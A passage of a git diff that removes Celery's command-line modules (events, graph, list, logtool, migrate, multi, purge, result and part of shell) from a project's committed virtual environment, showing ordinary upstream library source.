_run_evcam(camera, app, logfile=None, pidfile=None, uid=None, - gid=None, umask=None, workdir=None, - detach=False, **kwargs): - from celery.events.snapshot import evcam - _set_process_status('cam') - kwargs['app'] = app - cam = partial(evcam, camera, - logfile=logfile, pidfile=pidfile, **kwargs) - - if detach: - with detached(logfile, pidfile, uid, gid, umask, workdir): - return cam() - else: - return cam() - - -def _run_evtop(app): - try: - from celery.events.cursesmon import evtop - _set_process_status('top') - return evtop(app=app) - except ModuleNotFoundError as e: - if e.name == '_curses': - # TODO: Improve this error message - raise click.UsageError("The curses module is required for this command.") - - -@click.command(cls=CeleryDaemonCommand) -@click.option('-d', - '--dump', - cls=CeleryOption, - is_flag=True, - help_group='Dumper') -@click.option('-c', - '--camera', - cls=CeleryOption, - help_group='Snapshot') -@click.option('-d', - '--detach', - cls=CeleryOption, - is_flag=True, - help_group='Snapshot') -@click.option('-F', '--frequency', '--freq', - type=float, - default=1.0, - cls=CeleryOption, - help_group='Snapshot') -@click.option('-r', '--maxrate', - cls=CeleryOption, - help_group='Snapshot') -@click.option('-l', - '--loglevel', - default='WARNING', - cls=CeleryOption, - type=LOG_LEVEL, - help_group="Snapshot", - help="Logging level.") -@click.pass_context -@handle_preload_options -def events(ctx, dump, camera, detach, frequency, maxrate, loglevel, **kwargs): - """Event-stream utilities.""" - app = ctx.obj.app - try: - if dump: - return _run_evdump(app) - - if camera: - return _run_evcam(camera, app=app, freq=frequency, maxrate=maxrate, - loglevel=loglevel, - detach=detach, - **kwargs) - - return _run_evtop(app) - except Exception as exc: - handle_remote_command_error('events', exc) diff --git a/venv/Lib/site-packages/celery/bin/graph.py b/venv/Lib/site-packages/celery/bin/graph.py deleted file mode 100644 index eb1baaa4aa081216ac5fae37e1e9709a862bf638..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/bin/graph.py +++ /dev/null @@ -1,203 +0,0 @@ -"""The ``celery graph`` command.""" -import sys -from operator import itemgetter - -import click - -from celery.bin.base import CeleryCommand, handle_preload_options, handle_remote_command_error -from celery.utils.graph import DependencyGraph, GraphFormatter - - -@click.group() -@click.pass_context -@handle_preload_options -def graph(ctx): - """The ``celery graph`` command.""" - - -@graph.command(cls=CeleryCommand, context_settings={'allow_extra_args': True}) -@click.pass_context -def bootsteps(ctx): - """Display bootsteps graph.""" - worker = ctx.obj.app.WorkController() - include = {arg.lower() for arg in ctx.args or ['worker', 'consumer']} - if 'worker' in include: - worker_graph = worker.blueprint.graph - if 'consumer' in include: - worker.blueprint.connect_with(worker.consumer.blueprint) - else: - worker_graph = worker.consumer.blueprint.graph - worker_graph.to_dot(sys.stdout) - - -@graph.command(cls=CeleryCommand, context_settings={'allow_extra_args': True}) -@click.pass_context -def workers(ctx): - """Display workers graph.""" - def simplearg(arg): - return maybe_list(itemgetter(0, 2)(arg.partition(':'))) - - def maybe_list(l, sep=','): - return l[0], l[1].split(sep) if sep in l[1] else l[1] - - args = dict(simplearg(arg) for arg in ctx.args) - generic = 'generic' in args - - def generic_label(node): - return '{} ({}://)'.format(type(node).__name__, - node._label.split('://')[0]) - - class Node: - force_label = None - scheme = {} - - def __init__(self, label, pos=None): - self._label = label - self.pos = pos - - def label(self): - return self._label - - def __str__(self): - return self.label() - - class Thread(Node): - scheme = { - 'fillcolor': 'lightcyan4', - 'fontcolor': 'yellow', - 'shape': 'oval', - 'fontsize': 10, - 'width': 0.3, - 'color': 'black', - } - - def __init__(self, label, **kwargs): - self.real_label = label - super().__init__( - label=f'thr-{next(tids)}', - pos=0, - ) - - class Formatter(GraphFormatter): - - def label(self, obj): - return obj and obj.label() - - def node(self, obj): - scheme = dict(obj.scheme) if obj.pos else obj.scheme - if isinstance(obj, Thread): - scheme['label'] = obj.real_label - return self.draw_node( - obj, dict(self.node_scheme, **scheme), - ) - - def terminal_node(self, obj): - return self.draw_node( - obj, dict(self.term_scheme, **obj.scheme), - ) - - def edge(self, a, b, **attrs): - if isinstance(a, Thread): - attrs.update(arrowhead='none', arrowtail='tee') - return self.draw_edge(a, b, self.edge_scheme, attrs) - - def subscript(n): - S = {'0': '₀', '1': '₁', '2': '₂', '3': '₃', '4': '₄', - '5': '₅', '6': '₆', '7': '₇', '8': '₈', '9': '₉'} - return ''.join([S[i] for i in str(n)]) - - class Worker(Node): - pass - - class Backend(Node): - scheme = { - 'shape': 'folder', - 'width': 2, - 'height': 1, - 'color': 'black', - 'fillcolor': 'peachpuff3', - } - - def label(self): - return generic_label(self) if generic else self._label - - class Broker(Node): - scheme = { - 'shape': 'circle', - 'fillcolor': 'cadetblue3', - 'color': 'cadetblue4', - 'height': 1, - } - - def label(self): - return generic_label(self) if generic else self._label - - from itertools import count - tids = count(1) - Wmax = int(args.get('wmax', 4) or 0) - Tmax = int(args.get('tmax', 3) or 0) - - def maybe_abbr(l, name, max=Wmax): - size = len(l) - abbr = max and size > max - if 'enumerate' in args: - l = [f'{name}{subscript(i + 1)}' - for i, obj in enumerate(l)] - if abbr: - l = l[0:max - 1] + [l[size - 1]] - l[max - 2] = '{}⎨…{}⎬'.format( - name[0], subscript(size - (max - 1))) - return l - - app = ctx.obj.app - try: - workers = args['nodes'] - threads = args.get('threads') or [] - except KeyError: - try: - replies = app.control.inspect().stats() or {} - except Exception as exc: - handle_remote_command_error('graph workers', exc) - workers, threads = [], [] - for worker, reply in replies.items(): - workers.append(worker) - threads.append(reply['pool']['max-concurrency']) - - wlen = len(workers) - backend = args.get('backend', app.conf.result_backend) - threads_for = {} - workers = maybe_abbr(workers, 'Worker') - if Wmax and wlen > Wmax: - threads = threads[0:3] + [threads[-1]] - for i, threads in enumerate(threads): - threads_for[workers[i]] = maybe_abbr( - list(range(int(threads))), 'P', Tmax, - ) - - try: - broker_uri = args.get('broker', app.connection_for_read().as_uri()) - except Exception as exc: - handle_remote_command_error('graph workers', exc) - broker = Broker(broker_uri) - backend = Backend(backend) if backend else None - deps = DependencyGraph(formatter=Formatter()) - deps.add_arc(broker) - if backend: - deps.add_arc(backend) - curworker = [0] - for i, worker in enumerate(workers): - worker = Worker(worker, pos=i) - deps.add_arc(worker) - deps.add_edge(worker, broker) - if backend: - deps.add_edge(worker, backend) - threads = threads_for.get(worker._label) - if threads: - for thread in threads: - thread = Thread(thread) - deps.add_arc(thread) - deps.add_edge(thread, worker) - - curworker[0] += 1 - - deps.to_dot(sys.stdout) diff --git a/venv/Lib/site-packages/celery/bin/list.py b/venv/Lib/site-packages/celery/bin/list.py deleted file mode 100644 index f170e6272230e6a24e51222630065f59e8c69634..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/bin/list.py +++ /dev/null @@ -1,38 +0,0 @@ -"""The ``celery list bindings`` command, used to inspect queue bindings.""" -import click - -from celery.bin.base import CeleryCommand, handle_preload_options - - -@click.group(name="list") -@click.pass_context -@handle_preload_options -def list_(ctx): - """Get info from broker. - - Note: - - For RabbitMQ the management plugin is required. - """ - - -@list_.command(cls=CeleryCommand) -@click.pass_context -def bindings(ctx): - """Inspect queue bindings.""" - # TODO: Consider using a table formatter for this command. - app = ctx.obj.app - with app.connection() as conn: - app.amqp.TaskConsumer(conn).declare() - - try: - bindings = conn.manager.get_bindings() - except NotImplementedError: - raise click.UsageError('Your transport cannot list bindings.') - - def fmt(q, e, r): - ctx.obj.echo(f'{q:<28} {e:<28} {r}') - fmt('Queue', 'Exchange', 'Routing Key') - fmt('-' * 16, '-' * 16, '-' * 16) - for b in bindings: - fmt(b['destination'], b['source'], b['routing_key']) diff --git a/venv/Lib/site-packages/celery/bin/logtool.py b/venv/Lib/site-packages/celery/bin/logtool.py deleted file mode 100644 index ae64c3e473f7562679bb8dec42a28d405cd9b69e..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/bin/logtool.py +++ /dev/null @@ -1,157 +0,0 @@ -"""The ``celery logtool`` command.""" -import re -from collections import Counter -from fileinput import FileInput - -import click - -from celery.bin.base import CeleryCommand, handle_preload_options - -__all__ = ('logtool',) - -RE_LOG_START = re.compile(r'^\[\d\d\d\d\-\d\d-\d\d ') -RE_TASK_RECEIVED = re.compile(r'.+?\] Received') -RE_TASK_READY = re.compile(r'.+?\] Task') -RE_TASK_INFO = re.compile(r'.+?([\w\.]+)\[(.+?)\].+') -RE_TASK_RESULT = re.compile(r'.+?[\w\.]+\[.+?\] (.+)') - -REPORT_FORMAT = """ -Report -====== -Task total: {task[total]} -Task errors: {task[errors]} -Task success: {task[succeeded]} -Task completed: {task[completed]} -Tasks -===== -{task[types].format} -""" - - -class _task_counts(list): - - @property - def format(self): - return '\n'.join('{}: {}'.format(*i) for i in self) - - -def task_info(line): - m = RE_TASK_INFO.match(line) - return m.groups() - - -class Audit: - - def __init__(self, on_task_error=None, on_trace=None, on_debug=None): - self.ids = set() - self.names = {} - self.results = {} - self.ready = set() - self.task_types = Counter() - self.task_errors = 0 - self.on_task_error = on_task_error - self.on_trace = on_trace - self.on_debug = on_debug - self.prev_line = None - - def run(self, files): - for line in FileInput(files): - self.feed(line) - return self - - def task_received(self, line, task_name, task_id): - self.names[task_id] = task_name - self.ids.add(task_id) - self.task_types[task_name] += 1 - - def task_ready(self, line, task_name, task_id, result): - self.ready.add(task_id) - self.results[task_id] = result - if 'succeeded' not in result: - self.task_error(line, task_name, task_id, result) - - def task_error(self, line, task_name, task_id, result): - self.task_errors += 1 - if self.on_task_error: - self.on_task_error(line, task_name, task_id, result) - - def feed(self, line): - if RE_LOG_START.match(line): - if RE_TASK_RECEIVED.match(line): - task_name, task_id = task_info(line) - self.task_received(line, task_name, task_id) - elif RE_TASK_READY.match(line): - task_name, task_id = task_info(line) - result = RE_TASK_RESULT.match(line) - if result: - result, = result.groups() - self.task_ready(line, task_name, task_id, result) - else: - if self.on_debug: - self.on_debug(line) - self.prev_line = line - else: - if self.on_trace: - self.on_trace('\n'.join(filter(None, [self.prev_line, line]))) - self.prev_line = None - - def incomplete_tasks(self): - return self.ids ^ self.ready - - def report(self): - return { - 'task': { - 'types': _task_counts(self.task_types.most_common()), - 'total': len(self.ids), - 'errors': self.task_errors, - 'completed': len(self.ready), - 'succeeded': len(self.ready) - self.task_errors, - } - } - - -@click.group() -@click.pass_context -@handle_preload_options -def logtool(ctx): - """The ``celery logtool`` command.""" - - -@logtool.command(cls=CeleryCommand) -@click.argument('files', nargs=-1) -@click.pass_context -def stats(ctx, files): - ctx.obj.echo(REPORT_FORMAT.format( - **Audit().run(files).report() - )) - - -@logtool.command(cls=CeleryCommand) -@click.argument('files', nargs=-1) -@click.pass_context -def traces(ctx, files): - Audit(on_trace=ctx.obj.echo).run(files) - - -@logtool.command(cls=CeleryCommand) -@click.argument('files', nargs=-1) -@click.pass_context -def errors(ctx, files): - Audit(on_task_error=lambda line, *_: ctx.obj.echo(line)).run(files) - - -@logtool.command(cls=CeleryCommand) -@click.argument('files', nargs=-1) -@click.pass_context -def incomplete(ctx, files): - audit = Audit() - audit.run(files) - for task_id in audit.incomplete_tasks(): - ctx.obj.echo(f'Did not complete: {task_id}') - - -@logtool.command(cls=CeleryCommand) -@click.argument('files', nargs=-1) -@click.pass_context -def debug(ctx, files): - Audit(on_debug=ctx.obj.echo).run(files) diff --git a/venv/Lib/site-packages/celery/bin/migrate.py b/venv/Lib/site-packages/celery/bin/migrate.py deleted file mode 100644 index fc3c88b8e80c86d549c6c246e092fe36a0274b30..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/bin/migrate.py +++ /dev/null @@ -1,63 +0,0 @@ -"""The ``celery migrate`` command, used to filter and move messages.""" -import click -from kombu import Connection - -from celery.bin.base import CeleryCommand, CeleryOption, handle_preload_options -from celery.contrib.migrate import migrate_tasks - - -@click.command(cls=CeleryCommand) -@click.argument('source') -@click.argument('destination') -@click.option('-n', - '--limit', - cls=CeleryOption, - type=int, - help_group='Migration Options', - help='Number of tasks to consume.') -@click.option('-t', - '--timeout', - cls=CeleryOption, - type=float, - help_group='Migration Options', - help='Timeout in seconds waiting for tasks.') -@click.option('-a', - '--ack-messages', - cls=CeleryOption, - is_flag=True, - help_group='Migration Options', - help='Ack messages from source broker.') -@click.option('-T', - '--tasks', - cls=CeleryOption, - help_group='Migration Options', - help='List of task names to filter on.') -@click.option('-Q', - '--queues', - cls=CeleryOption, - help_group='Migration Options', - help='List of queues to migrate.') -@click.option('-F', - '--forever', - cls=CeleryOption, - is_flag=True, - help_group='Migration Options', - help='Continually migrate tasks until killed.') -@click.pass_context -@handle_preload_options -def migrate(ctx, source, destination, **kwargs): - """Migrate tasks from one broker to another. - - Warning: - - This command is experimental, make sure you have a backup of - the tasks before you continue. - """ - # TODO: Use a progress bar - def on_migrate_task(state, body, message): - ctx.obj.echo(f"Migrating task {state.count}/{state.strtotal}: {body}") - - migrate_tasks(Connection(source), - Connection(destination), - callback=on_migrate_task, - **kwargs) diff --git a/venv/Lib/site-packages/celery/bin/multi.py b/venv/Lib/site-packages/celery/bin/multi.py deleted file mode 100644 index 360c38693a8909c041e6fd59a438ee13f13afe9c..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/bin/multi.py +++ /dev/null @@ -1,480 +0,0 @@ -"""Start multiple worker instances from the command-line. - -.. program:: celery multi - -Examples -======== - -.. code-block:: console - - $ # Single worker with explicit name and events enabled. - $ celery multi start Leslie -E - - $ # Pidfiles and logfiles are stored in the current directory - $ # by default. Use --pidfile and --logfile argument to change - $ # this. The abbreviation %n will be expanded to the current - $ # node name. - $ celery multi start Leslie -E --pidfile=/var/run/celery/%n.pid - --logfile=/var/log/celery/%n%I.log - - - $ # You need to add the same arguments when you restart, - $ # as these aren't persisted anywhere. - $ celery multi restart Leslie -E --pidfile=/var/run/celery/%n.pid - --logfile=/var/log/celery/%n%I.log - - $ # To stop the node, you need to specify the same pidfile. - $ celery multi stop Leslie --pidfile=/var/run/celery/%n.pid - - $ # 3 workers, with 3 processes each - $ celery multi start 3 -c 3 - celery worker -n celery1@myhost -c 3 - celery worker -n celery2@myhost -c 3 - celery worker -n celery3@myhost -c 3 - - $ # override name prefix when using range - $ celery multi start 3 --range-prefix=worker -c 3 - celery worker -n worker1@myhost -c 3 - celery worker -n worker2@myhost -c 3 - celery worker -n worker3@myhost -c 3 - - $ # start 3 named workers - $ celery multi start image video data -c 3 - celery worker -n image@myhost -c 3 - celery worker -n video@myhost -c 3 - celery worker -n data@myhost -c 3 - - $ # specify custom hostname - $ celery multi start 2 --hostname=worker.example.com -c 3 - celery worker -n celery1@worker.example.com -c 3 - celery worker -n celery2@worker.example.com -c 3 - - $ # specify fully qualified nodenames - $ celery multi start foo@worker.example.com bar@worker.example.com -c 3 - - $ # fully qualified nodenames but using the current hostname - $ celery multi start foo@%h bar@%h - - $ # Advanced example starting 10 workers in the background: - $ # * Three of the workers processes the images and video queue - $ # * Two of the workers processes the data queue with loglevel DEBUG - $ # * the rest processes the default' queue. - $ celery multi start 10 -l INFO -Q:1-3 images,video -Q:4,5 data - -Q default -L:4,5 DEBUG - - $ # You can show the commands necessary to start the workers with - $ # the 'show' command: - $ celery multi show 10 -l INFO -Q:1-3 images,video -Q:4,5 data - -Q default -L:4,5 DEBUG - - $ # Additional options are added to each celery worker's command, - $ # but you can also modify the options for ranges of, or specific workers - - $ # 3 workers: Two with 3 processes, and one with 10 processes. - $ celery multi start 3 -c 3 -c:1 10 - celery worker -n celery1@myhost -c 10 - celery worker -n celery2@myhost -c 3 - celery worker -n celery3@myhost -c 3 - - $ # can also specify options for named workers - $ celery multi start image video data -c 3 -c:image 10 - celery worker -n image@myhost -c 10 - celery worker -n video@myhost -c 3 - celery worker -n data@myhost -c 3 - - $ # ranges and lists of workers in options is also allowed: - $ # (-c:1-3 can also be written as -c:1,2,3) - $ celery multi start 5 -c 3 -c:1-3 10 - celery worker -n celery1@myhost -c 10 - celery worker -n celery2@myhost -c 10 - celery worker -n celery3@myhost -c 10 - celery worker -n celery4@myhost -c 3 - celery worker -n celery5@myhost -c 3 - - $ # lists also works with named workers - $ celery multi start foo bar baz xuzzy -c 3 -c:foo,bar,baz 10 - celery worker -n foo@myhost -c 10 - celery worker -n bar@myhost -c 10 - celery worker -n baz@myhost -c 10 - celery worker -n xuzzy@myhost -c 3 -""" -import os -import signal -import sys -from functools import wraps - -import click -from kombu.utils.objects import cached_property - -from celery import VERSION_BANNER -from celery.apps.multi import Cluster, MultiParser, NamespacedOptionParser -from celery.bin.base import CeleryCommand, handle_preload_options -from celery.platforms import EX_FAILURE, EX_OK, signals -from celery.utils import term -from celery.utils.text import pluralize - -__all__ = ('MultiTool',) - -USAGE = """\ -usage: {prog_name} start [worker options] - {prog_name} stop [-SIG (default: -TERM)] - {prog_name} restart [-SIG] [worker options] - {prog_name} kill - - {prog_name} show [worker options] - {prog_name} get hostname [-qv] [worker options] - {prog_name} names - {prog_name} expand template - {prog_name} help - -additional options (must appear after command name): - - * --nosplash: Don't display program info. - * --quiet: Don't show as much output. - * --verbose: Show more output. - * --no-color: Don't display colors. -""" - - -def main(): - sys.exit(MultiTool().execute_from_commandline(sys.argv)) - - -def splash(fun): - - @wraps(fun) - def _inner(self, *args, **kwargs): - self.splash() - return fun(self, *args, **kwargs) - return _inner - - -def using_cluster(fun): - - @wraps(fun) - def _inner(self, *argv, **kwargs): - return fun(self, self.cluster_from_argv(argv), **kwargs) - return _inner - - -def using_cluster_and_sig(fun): - - @wraps(fun) - def _inner(self, *argv, **kwargs): - p, cluster = self._cluster_from_argv(argv) - sig = self._find_sig_argument(p) - return fun(self, cluster, sig, **kwargs) - return _inner - - -class TermLogger: - - splash_text = 'celery multi v{version}' - splash_context = {'version': VERSION_BANNER} - - #: Final exit code. - retcode = 0 - - def setup_terminal(self, stdout, stderr, - nosplash=False, quiet=False, verbose=False, - no_color=False, **kwargs): - self.stdout = stdout or sys.stdout - self.stderr = stderr or sys.stderr - self.nosplash = nosplash - self.quiet = quiet - self.verbose = verbose - self.no_color = no_color - - def ok(self, m, newline=True, file=None): - self.say(m, newline=newline, file=file) - return EX_OK - - def say(self, m, newline=True, file=None): - print(m, file=file or self.stdout, end='\n' if newline else '') - - def carp(self, m, newline=True, file=None): - return self.say(m, newline, file or self.stderr) - - def error(self, msg=None): - if msg: - self.carp(msg) - self.usage() - return EX_FAILURE - - def info(self, msg, newline=True): - if self.verbose: - self.note(msg, newline=newline) - - def note(self, msg, newline=True): - if not self.quiet: - self.say(str(msg), newline=newline) - - @splash - def usage(self): - self.say(USAGE.format(prog_name=self.prog_name)) - - def splash(self): - if not self.nosplash: - self.note(self.colored.cyan( - self.splash_text.format(**self.splash_context))) - - @cached_property - def colored(self): - return term.colored(enabled=not self.no_color) - - -class MultiTool(TermLogger): - """The ``celery multi`` program.""" - - MultiParser = MultiParser - OptionParser = NamespacedOptionParser - - reserved_options = [ - ('--nosplash', 'nosplash'), - ('--quiet', 'quiet'), - ('-q', 'quiet'), - ('--verbose', 'verbose'), - ('--no-color', 'no_color'), - ] - - def __init__(self, env=None, cmd=None, - fh=None, stdout=None, stderr=None, **kwargs): - # fh is an old alias to stdout. - self.env = env - self.cmd = cmd - self.setup_terminal(stdout or fh, stderr, **kwargs) - self.fh = self.stdout - self.prog_name = 'celery multi' - self.commands = { - 'start': self.start, - 'show': self.show, - 'stop': self.stop, - 'stopwait': self.stopwait, - 'stop_verify': self.stopwait, # compat alias - 'restart': self.restart, - 'kill': self.kill, - 'names': self.names, - 'expand': self.expand, - 'get': self.get, - 'help': self.help, - } - - def execute_from_commandline(self, argv, cmd=None): - # Reserve the --nosplash|--quiet|-q/--verbose options. - argv = self._handle_reserved_options(argv) - self.cmd = cmd if cmd is not None else self.cmd - self.prog_name = os.path.basename(argv.pop(0)) - - if not self.validate_arguments(argv): - return self.error() - - return self.call_command(argv[0], argv[1:]) - - def validate_arguments(self, argv): - return argv and argv[0][0] != '-' - - def call_command(self, command, argv): - try: - return self.commands[command](*argv) or EX_OK - except KeyError: - return self.error(f'Invalid command: {command}') - - def _handle_reserved_options(self, argv): - argv = list(argv) # don't modify callers argv. - for arg, attr in self.reserved_options: - if arg in argv: - setattr(self, attr, bool(argv.pop(argv.index(arg)))) - return argv - - @splash - @using_cluster - def start(self, cluster): - self.note('> Starting nodes...') - return int(any(cluster.start())) - - @splash - @using_cluster_and_sig - def stop(self, cluster, sig, **kwargs): - return cluster.stop(sig=sig, **kwargs) - - @splash - @using_cluster_and_sig - def stopwait(self, cluster, sig, **kwargs): - return cluster.stopwait(sig=sig, **kwargs) - stop_verify = stopwait # compat - - @splash - @using_cluster_and_sig - def restart(self, cluster, sig, **kwargs): - return int(any(cluster.restart(sig=sig, **kwargs))) - - @using_cluster - def names(self, cluster): - self.say('\n'.join(n.name for n in cluster)) - - def get(self, wanted, *argv): - try: - node = self.cluster_from_argv(argv).find(wanted) - except KeyError: - return EX_FAILURE - else: - return self.ok(' '.join(node.argv)) - - @using_cluster - def show(self, cluster): - return self.ok('\n'.join( - ' '.join(node.argv_with_executable) - for node in cluster - )) - - @splash - @using_cluster - def kill(self, cluster): - return cluster.kill() - - def expand(self, template, *argv): - return self.ok('\n'.join( - node.expander(template) - for node in self.cluster_from_argv(argv) - )) - - def help(self, *argv): - self.say(__doc__) - - def _find_sig_argument(self, p, default=signal.SIGTERM): - args = p.args[len(p.values):] - for arg in reversed(args): - if len(arg) == 2 and arg[0] == '-': - try: - return int(arg[1]) - except ValueError: - pass - if arg[0] == '-': - try: - return signals.signum(arg[1:]) - except (AttributeError, TypeError): - pass - return default - - def _nodes_from_argv(self, argv, cmd=None): - cmd = cmd if cmd is not None else self.cmd - p = self.OptionParser(argv) - p.parse() - return p, self.MultiParser(cmd=cmd).parse(p) - - def cluster_from_argv(self, argv, cmd=None): - _, cluster = self._cluster_from_argv(argv, cmd=cmd) - return cluster - - def _cluster_from_argv(self, argv, cmd=None): - p, nodes = self._nodes_from_argv(argv, cmd=cmd) - return p, self.Cluster(list(nodes), cmd=cmd) - - def Cluster(self, nodes, cmd=None): - return Cluster( - nodes, - cmd=cmd, - env=self.env, - on_stopping_preamble=self.on_stopping_preamble, - on_send_signal=self.on_send_signal, - on_still_waiting_for=self.on_still_waiting_for, - on_still_waiting_progress=self.on_still_waiting_progress, - on_still_waiting_end=self.on_still_waiting_end, - on_node_start=self.on_node_start, - on_node_restart=self.on_node_restart, - on_node_shutdown_ok=self.on_node_shutdown_ok, - on_node_status=self.on_node_status, - on_node_signal_dead=self.on_node_signal_dead, - on_node_signal=self.on_node_signal, - on_node_down=self.on_node_down, - on_child_spawn=self.on_child_spawn, - on_child_signalled=self.on_child_signalled, - on_child_failure=self.on_child_failure, - ) - - def on_stopping_preamble(self, nodes): - self.note(self.colored.blue('> Stopping nodes...')) - - def on_send_signal(self, node, sig): - self.note('\t> {0.name}: {1} -> {0.pid}'.format(node, sig)) - - def on_still_waiting_for(self, nodes): - num_left = len(nodes) - if num_left: - self.note(self.colored.blue( - '> Waiting for {} {} -> {}...'.format( - num_left, pluralize(num_left, 'node'), - ', '.join(str(node.pid) for node in nodes)), - ), newline=False) - - def on_still_waiting_progress(self, nodes): - self.note('.', newline=False) - - def on_still_waiting_end(self): - self.note('') - - def on_node_signal_dead(self, node): - self.note( - 'Could not signal {0.name} ({0.pid}): No such process'.format( - node)) - - def on_node_start(self, node): - self.note(f'\t> {node.name}: ', newline=False) - - def on_node_restart(self, node): - self.note(self.colored.blue( - f'> Restarting node {node.name}: '), newline=False) - - def on_node_down(self, node): - self.note(f'> {node.name}: {self.DOWN}') - - def on_node_shutdown_ok(self, node): - self.note(f'\n\t> {node.name}: {self.OK}') - - def on_node_status(self, node, retval): - self.note(retval and self.FAILED or self.OK) - - def on_node_signal(self, node, sig): - self.note('Sending {sig} to node {0.name} ({0.pid})'.format( - node, sig=sig)) - - def on_child_spawn(self, node, argstr, env): - self.info(f' {argstr}') - - def on_child_signalled(self, node, signum): - self.note(f'* Child was terminated by signal {signum}') - - def on_child_failure(self, node, retcode): - self.note(f'* Child terminated with exit code {retcode}') - - @cached_property - def OK(self): - return str(self.colored.green('OK')) - - @cached_property - def FAILED(self): - return str(self.colored.red('FAILED')) - - @cached_property - def DOWN(self): - return str(self.colored.magenta('DOWN')) - - -@click.command( - cls=CeleryCommand, - context_settings={ - 'allow_extra_args': True, - 'ignore_unknown_options': True - } -) -@click.pass_context -@handle_preload_options -def multi(ctx, **kwargs): - """Start multiple worker instances.""" - cmd = MultiTool(quiet=ctx.obj.quiet, no_color=ctx.obj.no_color) - # In 4.x, celery multi ignores the global --app option. - # Since in 5.0 the --app option is global only we - # rearrange the arguments so that the MultiTool will parse them correctly. - args = sys.argv[1:] - args = args[args.index('multi'):] + args[:args.index('multi')] - return cmd.execute_from_commandline(args) diff --git a/venv/Lib/site-packages/celery/bin/purge.py b/venv/Lib/site-packages/celery/bin/purge.py deleted file mode 100644 index cfb6caa932369f2a2e242b2d53d23074daefb939..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/bin/purge.py +++ /dev/null @@ -1,70 +0,0 @@ -"""The ``celery purge`` program, used to delete messages from queues.""" -import click - -from celery.bin.base import COMMA_SEPARATED_LIST, CeleryCommand, CeleryOption, handle_preload_options -from celery.utils import text - - -@click.command(cls=CeleryCommand, context_settings={ - 'allow_extra_args': True -}) -@click.option('-f', - '--force', - cls=CeleryOption, - is_flag=True, - help_group='Purging Options', - help="Don't prompt for verification.") -@click.option('-Q', - '--queues', - cls=CeleryOption, - type=COMMA_SEPARATED_LIST, - help_group='Purging Options', - help="Comma separated list of queue names to purge.") -@click.option('-X', - '--exclude-queues', - cls=CeleryOption, - type=COMMA_SEPARATED_LIST, - help_group='Purging Options', - help="Comma separated list of queues names not to purge.") -@click.pass_context -@handle_preload_options -def purge(ctx, force, queues, exclude_queues, **kwargs): - """Erase all messages from all known task queues. - - Warning: - - There's no undo operation for this command. - """ - app = ctx.obj.app - queues = set(queues or app.amqp.queues.keys()) - exclude_queues = set(exclude_queues or []) - names = queues - exclude_queues - qnum = len(names) - - if names: - queues_headline = text.pluralize(qnum, 'queue') - if not force: - queue_names = ', '.join(sorted(names)) - click.confirm(f"{ctx.obj.style('WARNING', fg='red')}:" - "This will remove all tasks from " - f"{queues_headline}: {queue_names}.\n" - " There is no undo for this operation!\n\n" - "(to skip this prompt use the -f option)\n" - "Are you sure you want to delete all tasks?", - abort=True) - - def _purge(conn, queue): - try: - return conn.default_channel.queue_purge(queue) or 0 - except conn.channel_errors: - return 0 - - with app.connection_for_write() as conn: - messages = sum(_purge(conn, queue) for queue in names) - - if messages: - messages_headline = text.pluralize(messages, 'message') - ctx.obj.echo(f"Purged {messages} {messages_headline} from " - f"{qnum} known task {queues_headline}.") - else: - ctx.obj.echo(f"No messages purged from {qnum} {queues_headline}.") diff --git a/venv/Lib/site-packages/celery/bin/result.py b/venv/Lib/site-packages/celery/bin/result.py deleted file mode 100644 index 615ee2eb4a4b6b6c97a6328853a2068003a5e556..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/bin/result.py +++ /dev/null @@ -1,30 +0,0 @@ -"""The ``celery result`` program, used to inspect task results.""" -import click - -from celery.bin.base import CeleryCommand, CeleryOption, handle_preload_options - - -@click.command(cls=CeleryCommand) -@click.argument('task_id') -@click.option('-t', - '--task', - cls=CeleryOption, - help_group='Result Options', - help="Name of task (if custom backend).") -@click.option('--traceback', - cls=CeleryOption, - is_flag=True, - help_group='Result Options', - help="Show traceback instead.") -@click.pass_context -@handle_preload_options -def result(ctx, task_id, task, traceback): - """Print the return value for a given task id.""" - app = ctx.obj.app - - result_cls = app.tasks[task].AsyncResult if task else app.AsyncResult - task_result = result_cls(task_id) - value = task_result.traceback if traceback else task_result.get() - - # TODO: Prettify result - ctx.obj.echo(value) diff --git a/venv/Lib/site-packages/celery/bin/shell.py b/venv/Lib/site-packages/celery/bin/shell.py deleted file mode 100644 index 6c94a00870e8251c121c10f569109e5db98f3e7e..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/bin/shell.py +++ /dev/null @@ -1,173 +0,0 @@ -"""The ``celery shell`` program, used to start a REPL.""" - -import os -import sys -from importlib import import_module - -import click - -from celery.bin.base import CeleryCommand, CeleryOption, handle_preload_options - - -def _invoke_fallback_shell(locals): - import code - try: - import readline - except ImportError: - pass - else: - import rlcompleter - readline.set_completer( - rlcompleter.Completer(locals).complete) - readline.parse_and_bind('tab:complete') - code.interact(local=locals) - - -def _invoke_bpython_shell(locals): - import bpython - bpython.embed(locals) - - -def _invoke_ipython_shell(locals): - for ip in (_ipython, _ipython_pre_10, - _ipython_terminal, _ipython_010, - _no_ipython): - try: - return ip(locals) - except ImportError: - pass - - -def _ipython(locals): - from IPython import start_ipython - start_ipython(argv=[], user_ns=locals) - - -def _ipython_pre_10(locals): # pragma: no cover - from IPython.frontend.terminal.ipapp import TerminalIPythonApp - app = TerminalIPythonApp.instance() - app.initialize(argv=[]) - app.shell.user_ns.update(locals) - app.start() - - -def _ipython_terminal(locals): # pragma: no cover - from IPython.terminal import embed - embed.TerminalInteractiveShell(user_ns=locals).mainloop() - - -def _ipython_010(locals): # pragma: no cover - from IPython.Shell import IPShell - IPShell(argv=[], user_ns=locals).mainloop() - - -def _no_ipython(self): # pragma: no cover - raise ImportError('no suitable ipython found') - - -def _invoke_default_shell(locals): - try: - import IPython # noqa - except ImportError: - try: - import bpython # noqa - except ImportError: - _invoke_fallback_shell(locals) - else: - _invoke_bpython_shell(locals) - else: - _invoke_ipython_shell(locals) - - -@click.command(cls=CeleryCommand, context_settings={ - 'allow_extra_args': True -}) -@click.option('-I', - '--ipython', - is_flag=True, - cls=CeleryOption, - help_group="Shell Options", - help="Force IPython.") -@click.option('-B', - '--bpython', - is_flag=True, - cls=CeleryOption, - 